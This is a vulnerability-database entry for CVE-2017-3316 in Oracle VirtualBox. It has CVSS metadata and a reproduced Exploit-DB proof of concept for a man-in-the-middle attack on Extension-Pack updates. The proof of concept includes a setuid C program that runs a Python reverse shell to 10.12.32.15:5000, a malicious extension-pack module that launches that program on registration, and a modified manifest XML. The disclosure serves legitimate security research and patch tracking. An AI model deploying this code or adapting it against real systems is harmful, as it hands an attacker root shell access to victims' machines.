Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-20 |
Improper Input Validation
The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
8.4 |
HIGH |
CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide significant (e.g. administrative) control over the vulnerable component that could affect component-wide settings and files. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
nvd@nist.gov |
| V2 |
6 |
|
AV:N/AC:M/Au:S/C:P/I:P/A:P |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 41196
Publication date : 2017-01-26 23h00 +00:00
Author : Wolfgang Hotwagner
EDB Verified : No
== [ Overview ] ===
System affected: VirtualBox
Software-Version: prior to 5.0.32, prior to 5.1.14
User-Interaction: Required
Impact: A Man-In-The-Middle could infiltrate an
Extension-Pack-Update to gain a root-shell
=== [ Detailed description ] ===
In my research about update mechanism of open-source software I found
vulnerabilities in Oracle's VirtualBox. It's possible to compromise a
system behind a firewall by infiltrating the updates of Extension-Packs
because of the following flaws:
1. The Extension-Pack is updated via HTTP instead of HTTPS. The
Extension-Packs are not signed, so a Man-In-The-Middle could send his
own Extension-Pack(with malicious code included) instead of the regular
update to the target. The Code would be executed with user-permissions.
I reported this bug to Oracle but I think someone else discovered and
reported it before. This bug also affects VirtualBox prior to 5.0.32,
prior to 5.1.14. I don't know the CVE.
2. CVE-2017-3316: There is a privilege escalation bug in the downloader
of VirtualBox. Extension-Packs are tar-archives. Tar-archives can
preserve permissions. A Man-In-The-Middle could include an executable
with setuid-permissions to the Extension-Pack. If the victim downloads
the Ext-pack, it will be stored as owner root and without checking the
permissions of the binaries. This bug affects VirtualBox prior to
5.0.32, prior to 5.1.14
=== [ Proof-Of-Concept ] ===
The executeable of the following code is placed in the
Extension-Pack-Archive under linux.amd64/evil with setuid.
/* evil.c(executable with the reverse-shell) */
#include <unistd.h>
int main()
{
setuid(0);
execl("/usr/bin/python","python","-c","import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.12.32.15\",5000));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);",NULL);
return 0;
}
The VirtualBox-Sources are downloaded next and the following code has
to be placed under src/VBox/ExtPacks/Evil/VBoxEvilMain.cpp:
/* $Id: VBoxEvilMain.cpp $ */
/** @file
* Evil main module.
*/
/*
* Copyright (C) 2010-2016 Oracle Corporation
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use,
* copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following
* conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
#include <VBox/ExtPack/ExtPack.h>
#include <VBox/err.h>
#include <VBox/version.h>
#include <VBox/vmm/cfgm.h>
#include <iprt/string.h>
#include <iprt/param.h>
#include <iprt/path.h>
static PCVBOXEXTPACKHLP g_pHlp;
static const VBOXEXTPACKREG g_vboxEvilExtPackReg =
{
VBOXEXTPACKREG_VERSION,
/* .uVBoxFullVersion = */ VBOX_FULL_VERSION,
/* .pfnInstalled = */ NULL,
/* .pfnUninstall = */ NULL,
/* .pfnVirtualBoxReady =*/ NULL,
/* .pfnConsoleReady = */ NULL,
/* .pfnUnload = */ NULL,
/* .pfnVMCreated = */ NULL,
/* .pfnVMConfigureVMM = */ NULL,
/* .pfnVMPowerOn = */ NULL,
/* .pfnVMPowerOff = */ NULL,
/* .pfnQueryObject = */ NULL,
/* .pfnReserved1 = */ NULL,
/* .pfnReserved2 = */ NULL,
/* .pfnReserved3 = */ NULL,
/* .pfnReserved4 = */ NULL,
/* .pfnReserved5 = */ NULL,
/* .pfnReserved6 = */ NULL,
/* .u32Reserved7 = */ 0,
VBOXEXTPACKREG_VERSION
};
#include <unistd.h>
/** @callback_method_impl{FNVBOXEXTPACKREGISTER} */
extern "C" DECLEXPORT(int) VBoxExtPackRegister(PCVBOXEXTPACKHLP pHlp,
PCVBOXEXTPACKREG *ppReg, PRTERRINFO pErrInfo)
{
pid_t pid = fork();
if(pid == 0)
{
execl("/usr/lib/virtualbox/ExtensionPacks/Oracle_VM_VirtualBox_Extension_Pack/linux.amd64/evil","evil",NULL);
}
/*
* Check the VirtualBox version.
*/
if (!VBOXEXTPACK_IS_VER_COMPAT(pHlp->u32Version,
VBOXEXTPACKHLP_VERSION))
return RTErrInfoSetF(pErrInfo, VERR_VERSION_MISMATCH,
"Helper version mismatch - expected %#x got
%#x",
VBOXEXTPACKHLP_VERSION, pHlp->u32Version);
if ( VBOX_FULL_VERSION_GET_MAJOR(pHlp->uVBoxFullVersion) !=
VBOX_VERSION_MAJOR
|| VBOX_FULL_VERSION_GET_MINOR(pHlp->uVBoxFullVersion) !=
VBOX_VERSION_MINOR)
return RTErrInfoSetF(pErrInfo, VERR_VERSION_MISMATCH,
"VirtualBox version mismatch - expected
%u.%u got %u.%u",
VBOX_VERSION_MAJOR, VBOX_VERSION_MINOR,
VBOX_FULL_VERSION_GET_MAJOR(pHlp->uVBoxFullVersion),
VBOX_FULL_VERSION_GET_MINOR(pHlp->uVBoxFullVersion));
/*
* We're good, save input and return the registration structure.
*/
g_pHlp = pHlp;
*ppReg = &g_vboxEvilExtPackReg;
return VINF_SUCCESS;
}
After compiling, this Extension-Pack-Module is placed in the Archive
under linux.amd64/VBoxEvilMain.so. It's also necessary to modify the
ExtPack.xml so that the Evil-Module is used:
<!--?xml version="1.0"?-->
<virtualboxextensionpack version="1.0"
xmlns="http://www.virtualbox.org/VirtualBoxExtensionPack";>
<name>Oracle VM VirtualBox Extension Pack</name>
<description>USB 2.0 and USB 3.0 Host Controller, Host Webcam,
VirtualBox RDP, PXE ROM, Disk Encryption.</description>
<version revision="112026">5.1.10</version>
<mainmodule>VBoxEvilMain</mainmodule>
<vrdemodule>VBoxVRDP</vrdemodule>
<showlicense>
</showlicense></virtualboxextensionpack>
Note: To make this Extension-Pack valid it is necessary to add all the
file-checksumms to ExtPack.manifest. The victim will be asked for the
root password during the update. If the attacker sends this malicious
Extension-Pack, a reverse root-shell will be executed.
=== [ Timeline ] ===
This bug was reported in December. Oracle answered on the same day and
gave status reports regularly. They released a patch on January 17th.
=== [ Credits ] ===
CVE-2017-3316 was discovered by Wolfgang Hotwagner
(https://tech.feedyourhead.at/content/privilege-escalation-in-virtualbox-cve-2017-3316)
Products Mentioned
Configuraton 0
Oracle>>Vm_virtualbox >> Version 5.0.30
Oracle>>Vm_virtualbox >> Version 5.1.12
References
